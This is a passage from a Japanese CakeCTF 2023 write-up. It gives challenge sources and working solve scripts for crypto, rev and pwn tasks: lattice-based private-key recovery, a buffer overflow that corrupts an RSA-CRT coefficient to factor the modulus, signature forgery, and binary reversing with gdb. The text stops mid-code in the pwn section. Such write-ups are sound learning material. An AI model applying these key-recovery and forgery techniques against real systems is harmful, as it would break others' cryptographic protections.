CakeCTF 2023 Writeup

Sun Nov 12 2023

11/11-12 で開催していた CakeCTF 2023 に MN7 (社のチーム) として参加し 12th/729 (得点のあるチームのみカウント) でした。

最近 CTF はやらないがちなのですが、 CakeCTF は例年ハイクオリティで難易度感も自分に丁度いいことが知られているので参加しました。期待通りいい問題だらけで参加してよかったです。CakeCTF の面白さはもっと世に広まってほしい。

それにしても3人でこのクオリティの CTF を毎年運営できているのすごい…自分は数問作るだけで死にかけています。

crypto

Iron Door

8 solves

server.py
from Crypto.Util.number import getPrime, isPrime, getRandomRange, inverse, long_to_bytes
from hashlib import sha256
import os
import secrets
import signal


def h1(s: bytes) -> int:
    return int(sha256(s).hexdigest()[:40], 16)

def h2(s: bytes) -> int:
    return int(sha256(s).hexdigest()[:50], 16)

# curl https://2ton.com.au/getprimes/random/2048
q = 10855513673631576111128223823852736449477157478532599346149798456480046295301804051241065889011325365880913306008412551904076052471122611452376081547036735239632288113679547636623259366213606049138707852292092112050063109859313962494299170083993779092369158943914238361319111011578572373690710592496259566364509116075924022901254475268634373605622622819175188430725220937505841972729299849489897919215186283271358563435213401606699495614442883722640159518278016175412036195925520819094170566201390405214956943009778470165405468498916560026056350145271115393499136665394120928021623404456783443510225848755994295718931
p = 2*q + 1

assert isPrime(p)
assert isPrime(q)

g = 3
flag = os.getenv("FLAG", "neko{nanmo_omoi_tsukanai_owari}")
x = getRandomRange(0, q)
y = pow(g, x, p)
salt = secrets.token_bytes(16)


def sign(m: bytes):
    z = h1(m)
    k = inverse(h2(long_to_bytes(x + z)), q)
    r = h2(long_to_bytes(pow(g, k, p)))
    s = (z + x*r) * inverse(k, q) % q
    return r, s


def verify(m: bytes, r: int, s: int):
    z = h1(m)
    sinv = inverse(s, q)
    gk = pow(g, sinv*z, p) * pow(y, sinv*r, p) % p
    r2 = h2(long_to_bytes(gk))
    return r == r2

# integrity check
r, s = sign(salt)
assert verify(salt, r, s)

signal.alarm(1000)


print("salt =", salt.hex())
print("p =", p)
print("g =", g)
print("y =", y)

while True:
    choice = input("[s]ign or [v]erify:").strip()
    if choice == "s":
        print("=== sign ===")
        m = input("m = ").strip().encode()
        if b"goma" in m:
            exit()

        r, s = sign(m + salt)
        # print("r =", r) #  do you really need?
        print("s =", s)

    elif choice == "v":
        print("=== verify ===")
        m = input("m = ").strip().encode()
        r = int(input("r = "))
        s = int(input("s = "))
        assert 0 < r < q
        assert 0 < s < q

        ok = verify(m + salt, r, s)
        if ok and m == b"hirake goma":
            print(flag)
        elif ok:
            print("OK")
            exit()
        else:
            print("NG")
            exit()

    else:
        exit()

ほぼ DSA ですが乱数生成部分あたりがちょっと雑っぽい署名形式です。似たようなものを見覚えあるなと思ったら去年の CakeCTF 2022 で出た Rock Door でした (リンクは自分の writeup)。 Rock Door では hash の出力が小さく $k$ が小さくなることから HNP として解けたのですが、今回は $k^{-1}$ が小さいため、一工夫必要そうです。

$s_i = k_i^{-1}(z_i + xr_i)$ と $s_j = k_j^{-1}(z_j + xr_j)$ を連立して $x$ を消去すると、

s_ik_j^{-1}r_j - s_jk_i^{-1}r_i = k_i^{-1}k_j^{-1}(z_ir_j-z_jr_i) \mod q

という式が得られます。ここで $s_i, s_j, z_i, z_j$ が既知です。 $k^{-1}$ や $r$ が200bitsで $s$ や $q$ と比べると十分小さいです。この式を使って CVP で $k_j^{-1} r_j$ などを復元できないかを試してみます。以下のコードの solve は https://github.com/rkm0959/Inequality_Solving_with_CVP を使っています。

io = remote("crypto.2023.cakectf.com", int(10321))

_ = io.recvuntil(b"salt = ")
salt = bytes.fromhex(io.recvline().strip().decode())
_ = io.recvuntil(b"y = ")
y = int(io.recvline())


def sign(m: str):
    io.sendlineafter(b"[s]ign or [v]erify:", b"s")
    io.sendlineafter(b"m = ", m.encode())
    io.recvuntil(b"s = ")
    return int(io.recvline())


zs = []
ss = []
for _ in range(20):
    m = "".join(random.choices(list(string.ascii_letters), k=16))
    z = h1(m.encode() + salt)
    s = sign(m)
    zs.append(z)
    ss.append(s)



M = 8  # 適当
# [k0inv*r0, k1inv*r1, k0inv*k1inv*r0, k0inv*k1inv*r1, k2inv*r2, k0inv*k2inv*r0, k0inv*k2inv*r2, ..., 0, ...]
# = [k0inv*r0, k1inv*r1, k0inv*k1inv*r0, k0inv*k1inv*r1, k2inv*r2, k0inv*k2inv*r0, k0inv*k2inv*r2, ..., l1, ..., ] * mat
mat = matrix(ZZ, 4*M+1, 4*M+1)
for i in range(3*M+1):
    mat[i, i] = 1
for i in range(M):
    mat[0, 3*M+1+i] = -ss[i+1]
    mat[1+3*i+0, 3*M+1+i] = ss[0]
    mat[1+3*i+1, 3*M+1+i] = zs[i+1]
    mat[1+3*i+2, 3*M+1+i] = -zs[0]
    mat[1+3*M+i, 3*M+1+i] = -q
lb = [0] + [0, 0, 0] * M + [0] * M
ub = [256**50] + [256**50, 256**75, 256**75] * M + [0] * M
res = solve(mat, lb, ub)
print(res[2])

↑のコードは問題サーバーに接続したときのコードをそのままはっつけています (実験中は sagemath 上で実験してたので…)。手元で $r, k$ も既知として最後の res[2] を正解と比較してみると、 $k^{-1}_ir_i$ は正しく求まっているが $k_i^{-1}k_j^{-1}r_i$ は正しく復元できていないことがわかりました。仕方がないので求まった $k_i^{-1}r_i$ それぞれに対して素因数分解を試み、 $r_i$ が $k_i$ から生成されているという制約が守られている因数を探し出します。これが見つかれば $x$ も復元できます。

# i == 5 のものが短時間で素因数分解できた
primes = [2, 5, 11, 43, 1085957, 791972303, 160537481821, 125996126924653, 68787628752352747, 33999171529721187989, 10210765675475797955604810645828980453639]
for n in range(2**len(primes)):
    kinv = 1
    for j in range(len(primes)):
        if n % 2 == 1:
            kinv *= primes[j]
        n //= 2
    r = prod(primes) // kinv
    if kinv >= 256**25 or r >= 256**25:
        continue
    k = pow(kinv, -1, q)
    if h2(long_to_bytes(pow(g, k, p))) == r:
        print("found!")
        print(kinv, r)
        break

x = (ss[i+1] * pow(kinv, -1, q) - zs[i+1]) * pow(r, -1, q) % q

$x$ さえ求まればあとは署名を作って送りつけるだけです。

m_base = b"hirake goma"
m = m_base + salt
z = h1(m)
k = inverse(h2(long_to_bytes(x + z)), q)
r = h2(long_to_bytes(pow(g, k, p)))
s = (z + x*r) * inverse(k, q) % q

io.sendlineafter(b"[v]erify:", b"v")
io.sendlineafter(b"m = ", m_base)
io.sendlineafter(b"r = ", str(r).encode())
io.sendlineafter(b"s = ", str(s).encode())
io.interactive()

CakeCTF{im_r3a11y_afraid_0f_truncating_hash_dig3st_13ading_unint3nd3d}

decryptyou

13 solves

main.c
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <gmp.h>
#include <unistd.h>

char flag[100];

typedef struct {
  struct {
    mpz_t u; mpz_t p; mpz_t q; mpz_t dp; mpz_t dq;
  } priv;
  struct {
    mpz_t n; mpz_t e;
  } pub;
} rsacrt_t;

/** @fn random_prime
 *  @brief Generate a random prime number.
 *  @param p: `mpz_t` variable to store the prime.
 *  @param nbits: Bit length of the prime.
 */
void random_prime(mpz_t p, int nbits) {
  gmp_randstate_t state;
  gmp_randinit_default(state);
  gmp_randseed_ui(state, rand());
  mpz_urandomb(p, state, nbits);
  mpz_nextprime(p, p);
  gmp_randclear(state);
}

/** @fn rsa_keygen
 *  @brief Generate a key pair for RSA-CRT.
 *  @param rsa: `rsacrt_t` structure to store the key.
 */
void rsa_keygen(rsacrt_t *rsa) {
  mpz_t p1, q1;
  mpz_inits(rsa->pub.n, rsa->pub.e,
            rsa->priv.u, rsa->priv.p, rsa->priv.q, rsa->priv.dp, rsa->priv.dq,
            p1, q1, NULL);

  /* Generate RSA parameters */
  mpz_set_ui(rsa->pub.e, 65537);
  random_prime(rsa->priv.p, 512);
  random_prime(rsa->priv.q, 512);
  mpz_sub_ui(p1, rsa->priv.p, 1);
  mpz_sub_ui(q1, rsa->priv.q, 1);
  mpz_mul(rsa->pub.n, rsa->priv.p, rsa->priv.q);     // n = p * q
  mpz_invert(rsa->priv.dp, rsa->pub.e, p1);          // dp = e^-1 mod p-1
  mpz_invert(rsa->priv.dq, rsa->pub.e, q1);          // dq = e^-1 mod q-1
  mpz_invert(rsa->priv.u, rsa->priv.q, rsa->priv.p); // u = q^-1 mod p
}

/** @fn challenge
 *  @brief Can you solve this?
 *  @param rsa: `rsacrt_t` structure containing a key pair.
 */
void challenge(rsacrt_t *rsa) {
  char buf[0x200];
  gmp_randstate_t state;
  mpz_t x, m, c, cp, cq, mp, mq;
  mpz_inits(x, m, c, cp, cq, mp, mq, NULL);

  /* Generate a random number and encrypt it */
  gmp_randinit_default(state);
  gmp_randseed_ui(state, rand());
  mpz_urandomb(x, state, 512);
  mpz_powm_ui(c, x, 1333, rsa->pub.n); // c = x^1333 mod n

  gmp_printf("n = %Zd\n", rsa->pub.n);
  gmp_printf("c = %Zd\n", c);

  for (;;) {
    /* Input ciphertext */
    printf("c = ");
    if (scanf("%s", buf) != 1
        || mpz_set_str(c, buf, 10) != 0) {
      fputs("Invalid input", stderr);
      exit(0);
    }

    /* Calculate plaintext */
    mpz_mod(cp, c, rsa->priv.p);
    mpz_mod(cq, c, rsa->priv.q);
    mpz_powm(mp, cp, rsa->priv.dp, rsa->priv.p);
    mpz_powm(mq, cq, rsa->priv.dq, rsa->priv.q);
    // m = (((mp - mq) * u mod p) * q + mq) mod n
    mpz_set(m, mp);
    mpz_sub(m, m, mq);
    mpz_mul(m, m, rsa->priv.u);
    mpz_mod(m, m, rsa->priv.p);
    mpz_mul(m, m, rsa->priv.q);
    mpz_add(m, m, mq);
    mpz_mod(m, m, rsa->pub.n);
    gmp_printf("m = %Zd\n", m);

    /* Check plaintext */
    if (mpz_cmp(m, x) == 0) {
      printf("Congratulations!\n"
             "Here is the flag: %s\n", flag);
      break;
    }
  }
}

/**
 * Entry point
 */
int main() {
  rsacrt_t rsa;
  rsa_keygen(&rsa);
  challenge(&rsa);
  return 0;
}

__attribute__((constructor))
void setup(void) {
  int seed;
  int fd;
  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);
  setvbuf(stderr, NULL, _IONBF, 0);

  // Get random seed
  if ((fd = open("/dev/urandom", O_RDONLY)) == -1 ||
      read(fd, &seed, sizeof(seed)) != sizeof(seed)) {
    perror("setup failed");
    exit(1);
  }
  close(fd);
  srand(seed);

  // Read flag
  if ((fd = open("/flag.txt", O_RDONLY)) == -1 ||
      read(fd, flag, sizeof(flag)) <= 0) {
    perror("flag not found");
    exit(1);
  }
  close(fd);
}

うっ、 pwn タグがついていて C で書かれた crypto 問…となりましたが、作問者の方々は優しいはずなので pwn も crypto も平易な知識しか要求されないだろうと予想しました。

問題のコードを見てみると、 scanf で $c$ の入力 (buf) を受け取っています。これは明らかに BOF が狙える形です。 stack 領域が buf から下でどうなっているか見てみます (貼ったやつはすでに buf に長い文字を入れて $u$ を壊している)。

...
19:00c8│ r15 0x7fffffffce48 ◂— 0x3030303030003030 /* '00' */ // buf
1a:00d0│+080 0x7fffffffce50 ◂— 0x3030303030303030 ('00000000')
... ↓        72 skipped
63:0318│ rbx 0x7fffffffd098 ◂— 0x30303030 /* '0000' */ // u
64:0320│+2d0 0x7fffffffd0a0 —▸ 0x514fd0 ◂— 0x4abea8c6e3aeff49
65:0328│+2d8 0x7fffffffd0a8 ◂— 0x800000009 /* '\t' */ // p
66:0330│+2e0 0x7fffffffd0b0 —▸ 0x514150 ◂— 0x2fb168c43b7c6f9d
67:0338│+2e8 0x7fffffffd0b8 ◂— 0x800000009 /* '\t' */ // q
68:0340│+2f0 0x7fffffffd0c0 —▸ 0x514e40 ◂— 0xcab59335c1523a97
69:0348│+2f8 0x7fffffffd0c8 ◂— 0x800000009 /* '\t' */ // dp
6a:0350│+300 0x7fffffffd0d0 —▸ 0x514f30 ◂— 0x9339ae6934743f19
6b:0358│+308 0x7fffffffd0d8 ◂— 0x800000008 // dq
6c:0360│+310 0x7fffffffd0e0 —▸ 0x514f80 ◂— 0xc7b14a449598ce97
6d:0368│+318 0x7fffffffd0e8 ◂— 0x1000000010 // n
6e:0370│+320 0x7fffffffd0f0 —▸ 0x5143c0 ◂— 0x63f061bb64f9679b
6f:0378│+328 0x7fffffffd0f8 ◂— 0x100000001  // e
70:0380│+330 0x7fffffffd100 —▸ 0x513760 ◂— 0x10001
...

このように buf から592バイト下に rsa が格納されています。上から順に u, p, q, dp, dq, n, e です。これで $u$ だけを壊せることがわかります。

それでは $u$ を壊すと何ができるでしょうか ¹。 $m = ((m_p - m_q) u \mod p) q + m_q$ という計算で $m$ を求めていますが、 $\mod p$ 上でこれが成立するのは $u = q^{-1} \mod p$ が成り立っているからです。そのため $u$ の値が変わると $m' \mod q = m_q$ だが $m' \mod p \ne m_p$ となる $m'$ が計算されます。これは大変好都合で、 $u$ が壊れる前の $m$ と壊れた後の $m'$ の差を取ってあげると、非ゼロな $q$ の倍数が手に入ることとなります。これと $n$ の GCD を計算すれば $q$ が求まります。

あとは得られた $p, q$ から $x$ を復元してあげればクリアです。

solve.py
from pwn import *
from math import gcd


io = remote("crypto.2023.cakectf.com", 10666)

_ = io.recvuntil(b"n = ")
n = int(io.recvline())
_ = io.recvuntil(b"c = ")
c = int(io.recvline())


def send(c: bytes):
    io.sendlineafter(b"c = ", c)
    io.recvuntil(b"m = ")
    return int(io.recvline())


m0 = send(b"2")
m1 = send(b"0" * (512 + 10 * 8 + 4))
m2 = send(b"2")
q = gcd(m0 - m2, n)
assert n % q == 0
p = n // q
phi = (p - 1) * (q - 1)
d65537 = pow(65537, -1, phi)
d1333 = pow(1333, -1, phi)
x = pow(c, d1333, n)
ans_c = pow(x, 65537, n)
send(str(ans_c).encode())
io.interactive()

CakeCTF{h4lf_crypt0_h4lf_pWn_l1k3_c4k3!?}

janken vs yosihking 2

43 solves

server.sage
import random
import signal
import os

HANDNAMES = {
    1: "Rock",
    2: "Scissors",
    3: "Paper"
}

def commit(M, m):
    while True:
        r = random.randint(2, 2**256)
        if r % 3 + 1 == m:
            break
    return M**r, r


signal.alarm(1000)

flag = os.environ.get("FLAG", "neko{old_yoshiking_never_die,simply_fade_away}")
p = 1719620105458406433483340568317543019584575635895742560438771105058321655238562613083979651479555788009994557822024565226932906295208262756822275663694111
M = random_matrix(GF(p), 5)
print("[yoshiking]: Hello! Let's play Janken(RPS)")
print("[yoshiking]: Here is p: {}, and M: {}".format(p, M.list()))

round = 0
wins = 0
while True:
    round += 1
    print("[system]: ROUND {}".format(round))

    yoshiking_hand = random.randint(1, 3)
    C, r = commit(M, yoshiking_hand)
    print("[yoshiking]: my commitment is={}".format(C.list()))

    hand = input("[system]: your hand(1-3): ")
    print("")
    try:
        hand = int(hand)
        if not (1 <= hand <= 3):
            raise ValueError()
    except ValueError:
        print("[yoshiking]: Ohhhhhhhhhhhhhhhh no! :(")
        exit()

    print("[yoshiking]: My hand is ... {}".format(HANDNAMES[yoshiking_hand]))
    print("[yoshiking]: Your hand is ... {}".format(HANDNAMES[hand]))
    result = (yoshiking_hand - hand + 3) % 3
    if result == 0:
        print("[yoshiking]: Draw, draw, draw!!!")
        print("[yoshiking]: I'm only respect to win!")
        print("[system]: you can check that yoshiking doesn't cheat")
        print("[system]: here's the secret value: {}".format(r))
        exit()
    elif result == 1:
        print("[yoshiking]: Yo! You win!!! Ho!")
        wins += 1
        print("[system]: wins: {}".format(wins))

        if wins >= 100:
            break
    elif result == 2:
        print("[yoshiking]: Ahahahaha! I'm the winnnnnnner!!!!")
        print("[yoshiking]: You, good loser!")
        print("[system]: you can check that yoshiking doesn't cheat")
        print("[system]: here's the secret value: {}".format(r))
        exit()

print("[yoshiking]: Wow! You are the king of roshambo!")
print("[yoshiking]: suge- flag ageru")
print(flag)

$r \mod 3$ がじゃんけんの手に相当しているので、 $M^r$ から $r \mod 3$ を当てられればクリアです。

M の order さえわかれば M と M^r の order // 3 乗を考えることで $r \mod 3$ が求まります (Pohlig Hellman の要領で)。しかし雑に M.multiplicative_order() をしてみたけれど当然機能しませんでした ²。

なので代わりに行列式を考えます。 $|M^r| = |M|^r$ かつ行列積は $\mathbb{F}_p$ 乗での計算なので order は $p-1$ です。偶然 (?) $p-1$ が smooth なので雑に $|M|$ と $|M|^r$ から $r$ が求められます。あとはやるだけ。

solve.sage
import re
from pwn import remote

io = remote("crypto.2023.cakectf.com", int(10555))
_ = io.recvline()
tmp = io.recvline().strip().decode()
res = list(map(int, re.findall(r"\d+", tmp)))
p, M = res[0], res[1:]
M = matrix(GF(p), 5, 5, M)

for round in range(100):
    print(round)
    io.recvuntil(b"my commitment is=")
    tmp = io.recvline().strip().decode()
    res = list(map(int, re.findall(r"\d+", tmp)))
    C = matrix(GF(p), 5, 5, res)
    r = C.det().log(M.det()) % 3
    my_hand = (r - 1) % 3 + 1
    io.sendlineafter(b"hand(1-3): ", str(my_hand).encode())
io.interactive()

CakeCTF{though_yoshiking_may_die_janken_will_never_perish}

simple signature

88 solves

server.py
import os
import sys
from hashlib import sha512
from Crypto.Util.number import getRandomRange, getStrongPrime, inverse, GCD
import signal


flag = os.environ.get("FLAG", "neko{cat_does_not_eat_cake}")

p = getStrongPrime(512)
g = 2


def keygen():
    while True:
        x = getRandomRange(2, p-1)
        y = getRandomRange(2, p-1)
        w = getRandomRange(2, p-1)

        v = w * y % (p-1)
        if GCD(v, p-1) != 1:
            continue
        u = (w * x - 1) * inverse(v, p-1) % (p-1)
        return (x, y, u), (w, v)


def sign(m, key):
    x, y, u = key
    r = getRandomRange(2, p-1)

    return pow(g, x*m + r*y, p), pow(g, u*m + r, p)


def verify(m, sig, key):
    w, v = key
    s, t = sig

    return pow(g, m, p) == pow(s, w, p) * pow(t, -v, p) % p


def h(m):
    return int(sha512(m.encode()).hexdigest(), 16)


if __name__ == '__main__':
    magic_word = "cake_does_not_eat_cat"
    skey, vkey = keygen()

    print(f"p = {p}")
    print(f"g = {g}")
    print(f"vkey = {vkey}")

    signal.alarm(1000)

    while True:
        choice = input("[S]ign, [V]erify: ").strip()
        if choice == "S":
            message = input("message: ").strip()
            assert message != magic_word

            sig = sign(h(message), skey)
            print(f"(s, t) = {sig}")

        elif choice == "V":
            message = input("message: ").strip()
            s = int(input("s: ").strip())
            t = int(input("t: ").strip())

            assert 2 <= s < p
            assert 2 <= t < p

            if not verify(h(message), (s, t), vkey):
                print("invalid signature")
                continue

            print("verified")
            if message == magic_word:
                print(f"flag = {flag}")
                sys.exit(0)

        else:
            break

$s = g^{xm + ry}$ , $t = g^{um + r}$ と署名が作られます。 $u$ の作られ方から $w(x - uy) = 1$ が成り立ちます。 $s, t$ の式を組み合わせて変数をできるかぎり少なくすると、

s / t^y = g^{xm + ry - umy - ry} = g^{m/w}

が得られます。これは署名検証の式の $1/w$ 乗に相当します。 $v, w$ と $y = vw^{-1}$ が既知なので、 $m$ に対して適当な $t$ を決めてあげれば署名検証が通る $s$ を作りだせます。

solve.py
from hashlib import sha512
from pwn import remote

def h(m):
    return int(sha512(m.encode()).hexdigest(), 16)

io = remote("crypto.2023.cakectf.com", 10444)
for _ in range(3):
    exec(io.recvline().strip().decode())

w, v = vkey
y = v * pow(w, -1, p - 1) % (p - 1)
t = 2
magic_word = "cake_does_not_eat_cat"
m = h(magic_word)
s = pow(t, y, p) * pow(g, m * pow(w, -1, p - 1), p) % p

io.sendlineafter(b"[S]ign, [V]erify: ", b"V")
io.sendlineafter(b"message: ", magic_word.encode())
io.sendlineafter(b"s: ", str(s).encode())
io.sendlineafter(b"t: ", str(t).encode())
io.interactive()

CakeCTF{does_yoshiking_eat_cake_or_cat?}

rev

imgchk

26 solves

実行ファイルが与えられ、ファイルのパスを1つ指定して実行すると動きます。 check_flag 関数がファイルが正しいかを判定する関数のようですが ghidra のデコンパイルは通りません。そのため gdb で実行して disassemble をしました。

   0x00005555555583c9 <+0>:	endbr64
   0x00005555555583cd <+4>:	push   rbp
   0x00005555555583ce <+5>:	mov    rbp,rsp
   0x00005555555583d1 <+8>:	push   rbx
   0x00005555555583d2 <+9>:	sub    rsp,0x88
   0x00005555555583d9 <+16>:	mov    QWORD PTR [rbp-0x88],rdi
   0x00005555555583e0 <+23>:	mov    rax,QWORD PTR fs:0x28
   0x00005555555583e9 <+32>:	mov    QWORD PTR [rbp-0x18],rax
   0x00005555555583ed <+36>:	xor    eax,eax
   0x00005555555583ef <+38>:	lea    rax,[rip+0x2]        # 0x5555555583f8 <check_flag+47>
   0x00005555555583f6 <+45>:	push   rax
   0x00005555555583f7 <+46>:	ret
   0x00005555555583f8 <+47>:	mov    rax,QWORD PTR [rbp-0x88]
   0x00005555555583ff <+54>:	lea    rdx,[rip+0x134c]        # 0x555555559752
   0x0000555555558406 <+61>:	mov    rsi,rdx
   0x0000555555558409 <+64>:	mov    rdi,rax
   0x000055555555840c <+67>:	call   0x555555558250 <fopen@plt>
   0x0000555555558411 <+72>:	mov    QWORD PTR [rbp-0x58],rax
   0x0000555555558415 <+76>:	cmp    QWORD PTR [rbp-0x58],0x0
   0x000055555555841a <+81>:	je     0x555555558827 <check_flag+1118>
   0x0000555555558420 <+87>:	lea    rax,[rip+0x2]        # 0x555555558429 <check_flag+96>
   0x0000555555558427 <+94>:	push   rax
   0x0000555555558428 <+95>:	ret
   0x0000555555558429 <+96>:	mov    ecx,0x0
   0x000055555555842e <+101>:	mov    edx,0x0
   0x0000555555558433 <+106>:	mov    esi,0x0
   0x0000555555558438 <+111>:	lea    rax,[rip+0x1316]        # 0x555555559755
   0x000055555555843f <+118>:	mov    rdi,rax
   0x0000555555558442 <+121>:	call   0x5555555581b0 <png_create_read_struct@plt>
   0x0000555555558447 <+126>:	mov    QWORD PTR [rbp-0x50],rax
   0x000055555555844b <+130>:	cmp    QWORD PTR [rbp-0x50],0x0
   0x0000555555558450 <+135>:	je     0x55555555882a <check_flag+1121>
   0x0000555555558456 <+141>:	lea    rax,[rip+0x2]        # 0x55555555845f <check_flag+150>
   0x000055555555845d <+148>:	push   rax
   0x000055555555845e <+149>:	ret
...

symbol が残っているのでだいぶ読みやすいです。 png 関係のライブラリを使ってゴニョゴニョやっているようです。

細かく見ていくと以下のようなファイルを用意すればいいことがわかります

png ファイル
20x480
各ピクセルが0/1
各列の20ピクセルをつなげた3バイトの文字列に対し md5 hash を計算した結果が各 answer と一致する

まずは answer を集めます。 gdb script を使います。 gdb -x script.py で実行できます。

import gdb
import re
import pickle

answers = []
gdb.execute("b *main")
gdb.execute("r /home/y011d4/cakectf/rev/imgchk/tmp.png")
addr_answer = 0x55555555b020
for i in range(0x1e0):
    res = gdb.execute(f"x/1gx {hex(addr_answer+8*i)}", to_string=True)
    addr = res.split()[-1]
    res = gdb.execute(f"x/16bx {addr}", to_string=True)
    res = re.findall(r"\t0x[0-9a-f]{2}", res)
    assert len(res) == 16
    ans = bytes([int(r[1:], 16) for r in res])
    answers.append(ans)

with open("/home/y011d4/cakectf/rev/imgchk/answers.pickle", "wb") as fp:
    pickle.dump(answers, fp)

集めた answer に対し、条件にあう png を作ります。

from hashlib import md5
import pickle
from PIL import Image
import numpy as np

with open("./answers.pickle", "rb") as fp:
    answers = pickle.load(fp)

hash_to_bits = {}
for n in range(2**20):
    tmp = []
    for i in range(20):
        tmp.append(n % 2)
        n //= 2
    tmp_bytes = bytes([
        sum([2**i * b for i, b in enumerate(tmp[:8])]),
        sum([2**i * b for i, b in enumerate(tmp[8:16])]),
        sum([2**i * b for i, b in enumerate(tmp[16:])]),
    ])
    tmp_hash = md5(tmp_bytes).digest()
    hash_to_bits[tmp_hash] = tmp

w = 0x1e0
h = 0x14
img = np.zeros((h, w), dtype=np.bool_)
for i in range(w):
    bits = hash_to_bits[answers[i]]
    for j in range(h):
        img[j, i] = bits[j]
img = Image.fromarray(img)
img.save("tmp.png")

生成された画像を開くとフラグが書かれていました。

CakeCTF{fd408e00d5824d7220c4d624f894144e}

Cake Puzzle

56 solves

ghidra のデコンパイルをすると割と素直に読めるコードが返ってきます。 M が4x4の盤面を1次元配列で扱っており、入力 UDLR に対して M 内の0がそれぞれ上下左右へと移動していきます。クリア条件は、各行各列でソートされていることです。やっていることが 15 パズルそのものなので、15 パズルのソルバーを適当に探し出して解き、フラグを得ました。ソルバーは https://yamakatsusan.web.fc2.com/python12.html のものを使わせてもらいました。 A* で解いてます。

from Crypto.Util.number import bytes_to_long
from pwn import remote

M_bytes = b"\xdb\x56\x58\x44\x04\x03\x23\x4c\x9f\x44\x22\x00\xb7\x96\x1a\x67\xf7\x44\x56\x6c\x87\x62\xf4\x7f\x29\xc8\xe9\x6e\x72\x2e\xda\x5c\x00\x00\x00\x00\xc9\x88\x8e\x69\x4f\x5a\xe6\x33\x54\x5c\xcc\x50\x1a\x83\x49\x13\x74\x8f\xc8\x53\xb9\x8a\x85\x25\xd8\x76\xf9\x72"
M = [[-1 for _ in range(4)] for _ in range(4)]
for i in range(4):
    for j in range(4):
        k = i * 4 + j
        M[i][j] = bytes_to_long(M_bytes[4 * k : 4 * (k + 1)][::-1])
sorted_M = sorted(sum(M, []))
for i in range(4):
    for j in range(4):
        M[i][j] = sorted_M.index(M[i][j])

sol, visit = main()  ## 上記ソルバーを使用

ans = ""
for i in range(len(sol) - 1):
    idx_prev = sol[i].index(0)
    idx = sol[i+1].index(0)
    if idx - idx_prev == 1:
        ans += "R"
    elif idx - idx_prev == 4:
        ans += "D"
    elif idx - idx_prev == -1:
        ans += "L"
    elif idx - idx_prev == -4:
        ans += "U"
    else:
        raise RuntimeError

io = remote("others.2023.cakectf.com", 14001)
for i in range(len(ans)):
    io.sendlineafter(b"> ", ans[i].encode())
io.interactive()

CakeCTF{wh0_at3_a_missing_pi3c3_0f_a_cak3}

nande

93 solves

ghidra のデコンパイルで読めるコードが返ってきます。それぞれの関数を python で実装すると以下のような感じです。

def nand(a, b):
    return int((a & b) == 0)


def module(a, b):
    c = nand(a, b)
    d = nand(a, c)
    e = nand(b, c)
    return nand(d, e)


def circuit(inp):
    for i in range(0x1234):
        oup = [None] * 256
        for j in range(0xff):
            oup[j] = module(inp[j], inp[j+1])
        oup[0xff] = module(inp[0xff], 1)
        inp = oup.copy()
    return oup

ここで module の真理値表を書くと、全体で xor を計算していることに相当することがわかります。なので逆操作はシンプルに計算できます。

def rev_circuit(oup):
    for i in range(0x1234):
        inp = [None] * 256
        inp[0xff] = oup[0xff] ^ 1
        for j in reversed(range(0xff)):
            inp[j] = inp[j+1] ^ oup[j]
        oup = inp.copy()
    return inp


def decode(inp):
    dec = b""
    for i in range(32):
        tmp = 0
        for j in range(8):
            tmp += 2**j * inp[8*i + j]
        dec += bytes([tmp])
    return dec


answer_sequence = b'\x01\x01\x01\x01\x01\x00\x00\x01\x01\x00\x00\x01\x00\x00\x01\x00\x00\x01\x01\x00\x00\x00\x00\x01\x01\x01\x01\x01\x00\x00\x01\x01\x01\x01\x00\x01\x00\x01\x01\x01\x00\x00\x00\x01\x01\x00\x01\x01\x01\x01\x00\x01\x00\x01\x00\x00\x01\x00\x01\x00\x01\x01\x00\x01\x00\x00\x01\x01\x00\x01\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x01\x00\x00\x01\x00\x00\x01\x00\x01\x01\x01\x00\x00\x01\x01\x01\x00\x00\x01\x01\x01\x00\x01\x00\x01\x01\x01\x01\x00\x01\x01\x00\x00\x00\x01\x01\x00\x00\x01\x01\x00\x01\x01\x00\x00\x00\x01\x00\x01\x01\x01\x00\x01\x00\x00\x00\x00\x01\x00\x00\x00\x00\x01\x01\x01\x00\x01\x00\x00\x00\x01\x01\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x01\x01\x01\x01\x01\x01\x01\x01\x01\x00\x01\x00\x01\x00\x00\x01\x01\x00\x01\x01\x01\x00\x01\x00\x01\x00\x01\x00\x00\x00\x00\x00\x00\x01\x01\x00\x01\x01\x00\x01\x01\x00\x01\x00\x01\x00\x01\x00\x00\x01\x01\x01\x01\x01\x00\x01\x01\x00\x01\x01\x01\x00\x00\x01\x00\x01\x01\x00\x01\x01\x00\x00\x01\x00\x00\x01\x01\x00\x00\x01\x01\x01\x00\x01\x00\x01\x00\x01\x01\x00'
decode(rev_circuit(list(answer_sequence)))

CakeCTF{h2fsCHAo3xOsBZefcWudTa4}

pwn

Memorial Cabbage

45 solves

main.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define TEMPDIR_TEMPLATE "/tmp/cabbage.XXXXXX"

static char *tempdir;

void setup() {
  char template[] = TEMPDIR_TEMPLATE;

  setvbuf(stdin, NULL, _IONBF, 0);
  setvbuf(stdout, NULL, _IONBF, 0);

  if (!(tempdir = mkdtemp(template))) {
    perror("mkdtemp");
    exit(1);
  }
  if (chdir(tempdir) != 0) {
    perror("chdir");
    exit(1);
  }
}

void memo_r() {
  FILE *fp;
  char path[0x20];
  char buf[0x1000];

  strcpy(path, tempdir);
  strcpy(path + strlen(TEMPDIR_TEMPLATE), "/memo.txt");
  if (!(fp = fopen(path, "r")))
    return;
  fgets(buf, sizeof(buf) - 1, fp);
  fclose(fp);

  printf("Memo: %s", buf);
}

void memo_w() {
  FILE *fp;
  char path[0x20];
  char buf[0x1000];

  printf("Memo: ");
  if (!fgets(buf, sizeof(buf)-1, stdin))
    exit(1);

  strcpy(path, tempdir);
  strcpy(path + strlen(TEMPDIR_TEMPLATE), "/memo.txt");
  if (!(fp = fopen(path, "w")))
    return;
  fwrite(buf, 1, strlen(buf), fp);
  fclose(fp);
}

int main() {
  int choice;

  setup();
  while (1) {
    printf("1. Write memo\n"
           "2. Read memo\n"
           "> ");
    if (scanf("%d%*c", &choice) != 1)
      break;
    switch (choice) {
      case 1: memo_w(); break;
